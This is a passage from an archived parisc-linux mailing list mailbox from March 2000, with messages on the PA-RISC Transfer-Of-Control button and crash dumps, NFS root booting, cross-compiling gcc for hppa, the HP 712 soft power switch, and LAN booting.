	by btmplq.god.bel.alcatel.be (8.9.3+Sun/8.9.1) with ESMTP id LAA24568
	for <parisc-linux@thepuffingroup.com>; Tue, 28 Mar 2000 11:27:19 +0200 (MET DST)
Original-Received: from nlsols1.ats.nld.alcatel.nl (nlsolnfs [138.203.176.15])
	by proxy.ats.nld.alcatel.nl (8.8.8/8.8.8) with ESMTP id LAA09070
	for <parisc-linux@thepuffingroup.com>; Tue, 28 Mar 2000 11:23:59 +0200 (MET DST)
Original-Received: from ats.nld.alcatel.nl (beerse@nlhw02 [138.203.176.72])
	by nlsols1.ats.nld.alcatel.nl (8.9.1/8.9.1) with ESMTP id LAA15196
	for <parisc-linux@thepuffingroup.com>; Tue, 28 Mar 2000 11:20:39 +0200 (MET DST)
Original-Sender: beerse@ats.nld.alcatel.nl
X-Mailer: Mozilla 4.72 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7115

Philipp Rumpf wrote:
> 
> > Just a slight clarification on what TOC does. Although on the surface the
> > Transfer-Of-Control button/switch merely appears to result in a system
> > reset, its primary use is to recover from system hang conditions while
> > preserving the machine state for later analysis, i.e. where and why was
> > the sytem hung.
> >
> > So, in summary, although TOC on the surface appears to merely 'reset' the
> > system, it is capable of much more provided the OS specifies an OS_TOC
> > entry point for recovery and debug of machine state at any point during
> > system run time.
> 
> Actually, that's exactly what reset does on (most) x86 boxes.  Remember
> getting 286s out of protected mode by resetting them ?
> 
> I'm not convinced having customized TOC / HPMC handlers for Linux/PA-RISC
> is a good idea yet.
> 
As I read this, the TOC button can have the next implementations:
- hardware reset, as the button on intel platforms
- three finger salute (<ctrl><alt><del>) as on intel platforms
- Boot prom prompt (if available, like Sun's <Stop><A>)
- Kernel core dump and [stop|halt|reboot|continue|shutdown]
- What does HPUX with it?
a combination of the above.

The main reason for this button is a kernel debugging aid. Not that I'm a
kernel hacker, I follow this group out of interest.

BTW, Where can I find this TOC button on my 9000/712/60 machine? is it the
white button on the front? If so, please give some software control to it.
In the past, I frequently pushed my keyboard against it, rebooting the
machine while typing......

CB

-- 
Everything should be as simple as possible but not simpler - A. Einstein
Corne' Beerse					| Alcatel Telecom Nederland
mailto:beerse@ats.nld.alcatel.nl		| Postbus 3292
talkto:+31(70)3079108 faxto:+31(70)3079191	| NL-2280 GG  Rijswijk


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy@linuxcare.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] build errors, recipe still not up to date?
Date: Tue, 28 Mar 2000 10:13:27 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10003281011220.2131-100000@grasshopper.thepuffingroup.com>
References: <20000327184025.C31396@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618861 31741 80.91.229.3 (22 Nov 2014 01:14:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:21 +0000 (UTC)
Cc: Mike Brancato <funnyguy@digitalsmackdown.net>,
        parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: dkennedy@linuxcare.com  Tue Mar 28 07:02:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA23555
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Mar 2000 07:02:33 -0700
Original-Received: (qmail 25339 invoked by uid 15267); 28 Mar 2000 14:02:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25319 invoked from network); 28 Mar 2000 14:02:32 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 28 Mar 2000 14:02:32 -0000
Original-Received: from grasshopper.thepuffingroup.com (IDENT:dkennedy@grasshopper.thepuffingroup.com [10.69.0.65])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id JAA07035;
	Tue, 28 Mar 2000 09:02:01 -0500
X-Sender: dkennedy@grasshopper.thepuffingroup.com
In-Reply-To: <20000327184025.C31396@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7116

On Mon, 27 Mar 2000 willy@thepuffingroup.com wrote:

> Linux NFS Root looks for /tftpboot/<ip-address> by default.  I think
> there's a way to change it, but I forget how.

If you are DHCPing the Linux box, you can specify the NFS Root
directory as an option in the DHCP file.  Also, the (regular) Linux
kernel takes a command line argument which is the NFS Root directory.

-- 
David Kennedy, Senior Linux Consultant, Linuxcare, Inc.
613.562.9594 tel, 613.562.9304 fax
dkennedy@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lars Segerlund <lars.segerlund@axis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Current status ?
Date: Tue, 28 Mar 2000 16:27:07 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <200003281427.QAA05055@seger.axis.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618862 31743 80.91.229.3 (22 Nov 2014 01:14:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: seger@axis.com  Tue Mar 28 07:27:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA23844
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Mar 2000 07:27:10 -0700
Original-Received: (qmail 17213 invoked by uid 15267); 28 Mar 2000 14:27:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17180 invoked from network); 28 Mar 2000 14:27:08 -0000
Original-Received: from roma.axis.se (193.13.178.2)
  by mailserv2.iuinc.com with SMTP; 28 Mar 2000 14:27:08 -0000
Original-Received: from seger.axis.se (seger.axis.se [192.168.2.150])
	by roma.axis.se (8.9.3/8.9.3) with ESMTP id QAA06996
	for <parisc-linux@thepuffingroup.com>; Tue, 28 Mar 2000 16:27:07 +0200 (MEST)
Original-Received: from axis.com (localhost [127.0.0.1])
	by seger.axis.se (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA05055
	for <parisc-linux@thepuffingroup.com>; Tue, 28 Mar 2000 16:27:07 +0200
X-Authentication-Warning: seger.axis.se: Host localhost [127.0.0.1] claimed to be axis.com
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:7117


  I just wanted to ask if you think the kernel is good enough to use on a 
725/50,
 it would be nice to start building packages.

 / seger.



From - Thu Nov 08 21:12:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc 2.9
Date: Tue, 28 Mar 2000 10:00:00 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0003271414330.24803-100000@mojo.calyx.net>
References: <Pine.LNX.4.10.10003252208590.28525-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618862 31746 80.91.229.3 (22 Nov 2014 01:14:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Tue Mar 28 08:00:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA24282
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Mar 2000 08:00:06 -0700
Original-Received: (qmail 11653 invoked by uid 15267); 28 Mar 2000 15:00:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11641 invoked from network); 28 Mar 2000 15:00:02 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 28 Mar 2000 15:00:02 -0000
Original-Received: (qmail 1342 invoked from network); 28 Mar 2000 15:00:00 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (rn0u6k3nuilcj9e47km4@208.132.136.2)
  by mail.calyx.net with SMTP; 28 Mar 2000 15:00:00 -0000
In-Reply-To: <Pine.LNX.4.10.10003252208590.28525-100000@morph.net>
Xref: news.gmane.org gmane.linux.ports.parisc:7118


I'm also still having problems getting cross-gcc 2.9 compiled.

One of the problems is that I elected to actually package and install
binutils with the debian scripts.  For some reason (maybe it's a
reasonable default considering the nature of the packages, but you'd
think with autoconf and all...), the gcc script uses the directory you 
give it as the install prefix in order to find the binutils "build
tooldir", so unless you are installing gcc and binutils at the same
prefix, it won't find the hppa binary tools and won't assemble
libgcc1.null, even if you have e.g. hppa1.1-linux-as in your path.

However, even after an ln /usr/hppa1.1-linux/bin/
/usr/src/parisc/hppa1.1-linux/bin it still fails, this time with:

FATAL: Can't create dummy.o: Invalid bfd target

I think this is prior to where the recipe says it is supposed to
fail.  Mainly because a make install doesn't actually install 
a hppa1.1-linux-gcc binary (I have to cp it from the build directory).
I get a similar error if I then go on to try to compile
PALO, when creating crt0.o.

My guess is some ALPHA tool or lib is still getting mixed in 
with the parisc stuff, but what, and what variables do I set to
correct for it?

--
Brian S. Julin




From - Thu Nov 08 21:12:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: davisg@Celestica.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Tue, 28 Mar 2000 11:52:42 -0500
Lines: 62
Approved: news@gmane.org
Message-ID: <852568B0.005CB5C5.00@tormta3.tor.cel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618862 31748 80.91.229.3 (22 Nov 2014 01:14:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Corne Beerse <beerse@ats.nld.alcatel.nl>
Original-X-From: davisg@Celestica.com  Tue Mar 28 09:53:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA25511
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Mar 2000 09:53:28 -0700
Original-Received: (qmail 12664 invoked by uid 15267); 28 Mar 2000 16:53:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12657 invoked from network); 28 Mar 2000 16:53:27 -0000
Original-Received: from glace.qu.ca.prserv.net (129.37.164.60)
  by mailserv2.iuinc.com with SMTP; 28 Mar 2000 16:53:27 -0000
Original-Received: from hivermuet.advantis.ca (hivermuet [198.74.66.3]) by glace.qu.ca.prserv.net (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id LAA64324 for <parisc-linux@thepuffingroup.com>; Tue, 28 Mar 2000 11:39:16 -0600
Original-Received: from Celestica.com ([32.69.41.45]) by hivermuet.advantis.ca (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id LAA11330; Tue, 28 Mar 2000 11:44:43 -0600
Original-Received: from tormta3.tor.cel.com (tormta3.tor.cel.com [32.69.41.171]) by Celestica.com (AIX4.2/UCB 8.7/8.7) with SMTP id LAA76438; Tue, 28 Mar 2000 11:52:42 -0500 (EST)
Original-Received: by tormta3.tor.cel.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852568B0.005CB7F5 ; Tue, 28 Mar 2000 11:52:44 -0500
X-Lotus-FromDomain: CELESTICA
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:7119



Greetings,

Corne' Beerse wrote:
>
> As I read this, the TOC button can have the next implementations:
> - hardware reset, as the button on intel platforms
> - three finger salute (<ctrl><alt><del>) as on intel platforms
> - Boot prom prompt (if available, like Sun's <Stop><A>)
> - Kernel core dump and [stop|halt|reboot|continue|shutdown]
> - What does HPUX with it?
> a combination of the above.

HP-UX provides an OS_TOC vector which is invoked by the platform firmware's
PDCE_TOC handler. When control is transferred to the OS_TOC handler, the OS
proceeds to perform a core dump. Then reboots (resets) the system.

>
> The main reason for this button is a kernel debugging aid. Not that I'm a
> kernel hacker, I follow this group out of interest.

Correct! TOC is used as a diagnostic tool when debugging systems which appear
to be hung and are no longer responding, i.e. TOC is a high priority interrupt
(although it's not technically classified as an interrupt - rather, it is a
special form of reset which preserves machine state) which ideally invokes
a core dump then reboots (resets) the system. The core can then be reviewed
after reboot to determine the potential cause of the hang condition.

>
> BTW, Where can I find this TOC button on my 9000/712/60 machine? is it the
> white button on the front? If so, please give some software control to it.
> In the past, I frequently pushed my keyboard against it, rebooting the
> machine while typing......
>

There is no TOC button available on the Model 712. A special debug card is
used by HP hardware and OS developers for TOC among other things on this
platform.

BTW, the white button on the front left side of the Model 712 is a soft
power switch. Upon initial application of power, the switch operates as
a hard power switch which immediately affects the power supply state (ON/OFF).
After the OS (HP-UX) has booted and initialized, a bit buried in the Lasi
power control register can be flipped by the OS to enable the soft power
feature which, with proper setup of the hardware and inclusion of the
necessary OS hooks, invokes an interrupt when depressed thus allowing
a clean shutdown of the system, i.e. the soft power switch interrupt
handler invokes 'shutdown -h now' to perform a clean unmount of all
file systems, etc,. Note that not all systems which use Lasi utilize
this feature - some don't implement any form of soft power feature,
while others use a different method entirely. But in the case of the
Model 712...


Regards,
Geoge G. Davis
Software Engineer,  Celestica Chelmsford Design Center
20 Alpha Road
Chelmsford, MA 01824



From - Thu Nov 08 21:12:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: davisg@Celestica.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Tue, 28 Mar 2000 12:16:49 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <852568B0.005EEA6A.00@tormta3.tor.cel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618863 31752 80.91.229.3 (22 Nov 2014 01:14:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:23 +0000 (UTC)
Cc: davisg@Celestica.com, Bas Valkema <b_valkema@hotmail.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: davisg@Celestica.com  Tue Mar 28 10:18:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA26021
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Mar 2000 10:18:19 -0700
Original-Received: (qmail 2660 invoked by uid 15267); 28 Mar 2000 17:18:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2651 invoked from network); 28 Mar 2000 17:18:18 -0000
Original-Received: from glace.qu.ca.prserv.net (129.37.164.60)
  by mailserv2.iuinc.com with SMTP; 28 Mar 2000 17:18:18 -0000
Original-Received: from hivermuet.advantis.ca (hivermuet [198.74.66.3]) by glace.qu.ca.prserv.net (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id MAA99660; Tue, 28 Mar 2000 12:03:18 -0600
Original-Received: from Celestica.com ([32.69.41.45]) by hivermuet.advantis.ca (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id MAA19420; Tue, 28 Mar 2000 12:08:44 -0600
Original-Received: from tormta3.tor.cel.com (tormta3.tor.cel.com [32.69.41.171]) by Celestica.com (AIX4.2/UCB 8.7/8.7) with SMTP id MAA89042; Tue, 28 Mar 2000 12:16:43 -0500 (EST)
Original-Received: by tormta3.tor.cel.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852568B0.005EEB91 ; Tue, 28 Mar 2000 12:16:46 -0500
X-Lotus-FromDomain: CELESTICA
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:7120



Greetings,

Philipp Rumpf wrote:
> > Transfer-Of-Control button/switch merely appears to result in a system
> > reset, its primary use is to recover from system hang conditions while
> > preserving the machine state for later analysis, i.e. where and why was
> > the sytem hung.
> >
> > So, in summary, although TOC on the surface appears to merely 'reset' the
> > system, it is capable of much more provided the OS specifies an OS_TOC
> > entry point for recovery and debug of machine state at any point during
> > system run time.
>
> Actually, that's exactly what reset does on (most) x86 boxes.  Remember
> getting 286s out of protected mode by resetting them ?
>

Oh yeah - I vaguely recall this. Painful, ugly and slow.

>
> I'm not convinced having customized TOC / HPMC handlers for Linux/PA-RISC
> is a good idea yet.

Agreed!  It's a lot of effort to add support for this. Looking back over the
parisc-linux archives, the alternative
is to use the platform firmware 'pim [hpmc|toc]' command to retrieve the machine
state at the time of crash/hang
and use this information to manually glark the vmlinux image to see where you
were at the time. Although there
is limited information to understand the overall machine context at time of
crash/hang, there's generally enough
information available from PIM to find out where you were (assuming you were
even in the kernel at the time).

BTW, there is a reference in the parisc-linux archives to trap handlers in the
Utah code, Mach I presume, which
may be useful as a model upon which to base HPMC/TOC handlers in Linux for
PA-RISC. Maybe someday...

Regards,
Geoge G. Davis
Software Engineer,  Celestica Chelmsford Design Center
20 Alpha Road
Chelmsford, MA 01824




From - Thu Nov 08 21:12:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo van der Kooij <hvdkooij@caiw.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] HP-UX?
Date: Tue, 16 Mar 1999 22:35:17 +0100 (CET)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.04.9903162230260.8915-100000@bastion.nl3155vj16.vanderkooij.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618863 31758 80.91.229.3 (22 Nov 2014 01:14:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:23 +0000 (UTC)
To: HP PA-Risc Mailinglist <hppa-linux@thepuffingroup.com>
Original-X-From: hvdkooij@caiw.nl  Tue Mar 16 16:36:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA06306
	for <hppa-linux@sod.res.cmu.edu>; Tue, 16 Mar 1999 16:36:01 -0500
Original-Received: (qmail 8366 invoked by uid 15267); 16 Mar 1999 21:35:16 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 8359 invoked from network); 16 Mar 1999 21:35:11 -0000
Original-Received: from k3nw299.dial.kabelfoon.nl (HELO bastion.nl3155vj16.vanderkooij.org) (195.193.25.44)
  by mailserv2.iuinc.com with SMTP; 16 Mar 1999 21:35:11 -0000
Original-Received: from bastion.nl3155vj16.vanderkooij.org (bastion.nl3155vj16.vanderkooij.org [192.168.100.254])
	by bastion.nl3155vj16.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id WAA10373
	for <hppa-linux@thepuffingroup.com>; Tue, 16 Mar 1999 22:35:17 +0100
X-Sender: hvdkooij@bastion.nl3155vj16.vanderkooij.org
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:7121

Hi,

A bit ackward question perhaps but as it would a little while before there
is a kernel that will work for a non-programmer like me I would like to
run HP-UX on my HP 715/33 for the time being.

But I don't know how to install the bugger. So if anyone could issue some
short instructions I would be most pleased. Preferably by booting from
Linux server and the HP-UX 10.20 CD I have. (Got no manuals so it's a bit
hard to RTFM ;-)

Hugo.

        +------------------------+------------------------------+
        | Hugo van der Kooij     | Hugo.van.der.Kooij@caiw.nl   |
        | Oranje Nassaustraat 16 | http://www.caiw.nl/~hvdkooij |
        | 3155 VJ  Maasland      | (De man met de rode hoed)    |
        +------------------------+------------------------------+
    "Computers let you make more mistakes faster than any other invention in
      human history, with the possible exception of handguns and tequila."
                (Mitch Radcliffe)


From - Thu Nov 08 21:12:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Brancato <funnyguy@digitalsmackdown.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] using lan to boot
Date: Tue, 28 Mar 2000 18:01:18 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10003281748330.2059-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618863 31762 80.91.229.3 (22 Nov 2014 01:14:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: funnyguy@digitalsmackdown.net  Tue Mar 28 17:06:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA30378
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Mar 2000 17:06:08 -0700
Original-Received: (qmail 17444 invoked by uid 15267); 29 Mar 2000 00:06:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21955 invoked from network); 28 Mar 2000 23:05:24 -0000
Original-Received: from unknown (HELO morph.net) (root@128.163.240.196)
  by mailserv2.iuinc.com with SMTP; 28 Mar 2000 23:05:22 -0000
Original-Received: from localhost (funnyguy@localhost)
	by morph.net (8.9.3/8.9.3) with ESMTP id SAA02087
	for <parisc-linux@thepuffingroup.com>; Tue, 28 Mar 2000 18:01:18 -0500
X-Authentication-Warning: morph.net: funnyguy owned process doing -bs
X-Sender: funnyguy@morph.net
Xref: news.gmane.org gmane.linux.ports.parisc:7122


i played with the 735/125 we have here, and i can't get it to sent any
packets.  it has no HD right now.  using snoop to monitor network traffic,
we looked to its hardware address.  no luck.  to go the hardware address,
i type hrdw_addr os something at the boot prompt?  we used that HW
address.  typing "boot lan.<servershwaddr>.0.0" makes the boot fail.  and
there is no network traffic from that machine.  when the computer searches
for bootable devices, it only sees P0 which is the floppy.  It prints out
liek 5 lines of numbers...  000000 000000 000050 etc...  it says boot
failed and stuff and INIT_ENTRY = -7.  could anyone explain.  we're
perflexed whay lan won't send anything.  the externet adapter is flashing
the Tx light though.

i've got an image prefared, and now i just need to boot to it.

mike


From - Thu Nov 08 21:12:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philippe Benard <phi@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Wed, 29 Mar 2000 07:44:37 +0200
Organization: WTEC
Lines: 20
Approved: news@gmane.org
Message-ID: <38E19845.AACA0F9A@hpfrcu03.france.hp.com>
References: <852568B0.005CB5C5.00@tormta3.tor.cel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618864 31767 80.91.229.3 (22 Nov 2014 01:14:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:24 +0000 (UTC)
Cc: Corne Beerse <beerse@ats.nld.alcatel.nl>, parisc-linux@thepuffingroup.com
To: davisg@Celestica.com
Original-X-From: phi@hpfrcu03.france.hp.com  Tue Mar 28 23:04:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA00732
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Mar 2000 23:04:11 -0700
Original-Received: (qmail 11315 invoked by uid 15267); 29 Mar 2000 06:04:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11308 invoked from network); 29 Mar 2000 06:04:06 -0000
Original-Received: from gremg1.net.external.hp.com (192.6.111.73)
  by mailserv2.iuinc.com with SMTP; 29 Mar 2000 06:04:06 -0000
Original-Received: from puccini.grenoble.hp.com (puccini.grenoble.hp.com [15.128.127.194])
	by gremg1.net.external.hp.com (Postfix) with ESMTP
	id C35AD11F; Wed, 29 Mar 2000 07:39:09 +0200 (METDST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by puccini.grenoble.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with ESMTP id HAA10664;
	Wed, 29 Mar 2000 07:39:08 +0200 (METDST)
Original-Received: from hpfrcu03.france.hp.com (iws1pb01.france.hp.com [15.124.72.10]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3) id HAA14581; Wed, 29 Mar 2000 07:38:51 +0200 (METDST)
Original-Sender: Philippe_Benard@hpfrcu03.france.hp.com
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7123

davisg@Celestica.com wrote:
> 

> 
> There is no TOC button available on the Model 712. A special debug card is
> used by HP hardware and OS developers for TOC among other things on this
> platform.

Not sure about it, but I think that pushing the white button 3 time, i.e from
ON state going OFF/ON/OFF (may be more don't remember) does trig a TOC, and
this is High prio, i.e for dump capable OS, this mean post mortem dump
analysis due to a hang possible (i.e what I like :-)

Cheers,
Phi

--
mailto:phi@hpfrcu81.france.hp.com
WTEC Project. Kernel debugging tools


From - Thu Nov 08 21:12:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Corne Beerse <beerse@ats.nld.alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Wed, 29 Mar 2000 11:02:20 +0200
Organization: Alcatel Telecom Nederland bv
Lines: 79
Approved: news@gmane.org
Message-ID: <38E1C69C.1BEB8F9C@ats.nld.alcatel.nl>
References: <852568B0.005CB5C5.00@tormta3.tor.cel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618864 31769 80.91.229.3 (22 Nov 2014 01:14:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: beerse@ats.nld.alcatel.nl  Wed Mar 29 02:10:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA02253
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Mar 2000 02:09:17 -0700
Original-Received: (qmail 16752 invoked by uid 15267); 29 Mar 2000 09:09:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16738 invoked from network); 29 Mar 2000 09:09:11 -0000
Original-Received: from gate.alcatel.be (HELO btmplq.god.bel.alcatel.be) (195.207.101.3)
  by mailserv2.iuinc.com with SMTP; 29 Mar 2000 09:09:11 -0000
Original-Received: from proxy.ats.nld.alcatel.nl (proxy.ats.nld.alcatel.nl [138.203.176.252])
	by btmplq.god.bel.alcatel.be (8.9.3+Sun/8.9.1) with ESMTP id LAA26786
	for <parisc-linux@thepuffingroup.com>; Wed, 29 Mar 2000 11:08:59 +0200 (MET DST)
Original-Received: from nlsols1.ats.nld.alcatel.nl (nlsolnfs [138.203.176.15])
	by proxy.ats.nld.alcatel.nl (8.8.8/8.8.8) with ESMTP id LAA14608
	for <parisc-linux@thepuffingroup.com>; Wed, 29 Mar 2000 11:05:40 +0200 (MET DST)
Original-Received: from ats.nld.alcatel.nl (beerse@nlhw02 [138.203.176.72])
	by nlsols1.ats.nld.alcatel.nl (8.9.1/8.9.1) with ESMTP id LAA03981
